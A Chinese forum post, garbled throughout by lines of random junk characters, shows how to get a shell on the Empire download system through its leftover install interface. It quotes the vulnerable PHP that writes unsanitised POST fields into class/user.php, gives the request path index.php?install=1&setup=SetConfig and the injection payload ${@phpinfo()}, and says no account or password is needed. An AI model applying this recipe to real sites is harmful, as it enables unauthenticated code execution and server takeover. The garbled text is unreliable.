这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们
4 t- Z& ~4 g& N) x
8 E3 p3 v" Z6 M4 y L$ {
. w* Q, m$ x& A# ~$ m" g这是帝国的一套下载系统 如图
" M) d. R7 F2 Dps(不需要任何账户和密码,直接写shell)
5 a* b1 P+ p6 c' |4 J8 w: r由于很多站是由于下载要整合discuz 等等一些论坛....* J f% n- m' _; S
1 ^$ x3 @! w4 M2 k1 v
而帝国他又有一个万能接口,如图
' A3 M- }! y: y
) u5 i; E+ Y1 n8 r! L. Q: P' B
7 R3 v7 z. ?+ U9 k/ E5 S& s而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码/ Z0 j9 t* b2 h. {0 A4 G; k
: ], i7 Z9 D% B' S) w9 n3 H0 D- L当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
# b8 g7 `8 _% `7 B1 s6 ~8 m) X' B* S) m: l1 c1 j% U5 W! I
在data/fun.php中的15行' g& Y" F3 E' Y; V5 H
/ _' L3 T6 V) T8 m我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {. x6 z- S( h4 Y' H* y( |3 B" f6 v7 {7 L
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干9 w# I; i6 U" g# m; O2 L( j4 n
' J5 o9 n$ p$ h& v" D1 P* ?* j) D这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);; P" f3 `) s: j6 g& H% [
! W& D9 l* f1 }; o/ n! p8 {
他将传进来的变量进行了切割,然后赋给了$filetext
% b( |+ h, m# J4 E
# [/ X0 Q" ^) o: F0 I; v& m然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了: ^$ q+ U ~3 e, C% x- @. d
4 m6 l0 L0 R$ s) f/ K/ E) g- o我们看看写入的结果,随便填一个
! D% z7 A) t% B! Y; _/ k- k
8 B' o8 l g' u& I m* t3 i* S- h, d* m) G K+ ~- C: s) N: g, ]
" a7 }' K: _; b/ p( w+ J: O
' M! E8 _- s' b- x: [% N; c
" A! [# W+ ~# C1 [" E) a$ Q* |. ~, A* I- n' V4 ?+ W& @
- w/ H, W( ]# Y! Q/ ^. [! S
( r, e5 y$ v1 d* W% A2 F
* p* R1 Z% ^- r d4 k! `
* `" I$ h2 `3 E, z( _$ ^
N/ ]4 |9 e' [( T9 r$ V$ ~, D: E& w# k5 O: A
' ^) H( l& [ T7 J4 P4 [6 f2 S1 h
2 T$ H7 U3 t$ D# O
# ~9 _3 F: R' g* _2 `
7 q) G# h) E" Y* Y/ ]8 B( ^( }5 U8 }4 V
- q: q, i+ R. y+ ]5 V) C
1 T; E# [% `/ h9 a# ]6 E2 L, k: v: R$ r9 N' P) f' [3 e
所以我们淫荡点,写个${@phpinfo()}试试 - ?* [. \* A" W
然后访问以下class/user.php这个文件
P$ {+ V+ r4 U日了吧
$ o1 n7 E( t/ M% y0 l
1 r( O1 V# r; B0 u( z
7 W4 o H) J8 c# W) \2 x. h7 l& x' {$ S
. y7 }3 {& ^3 r. u9 I4 V* @$ x
6 w8 B/ k7 M% e |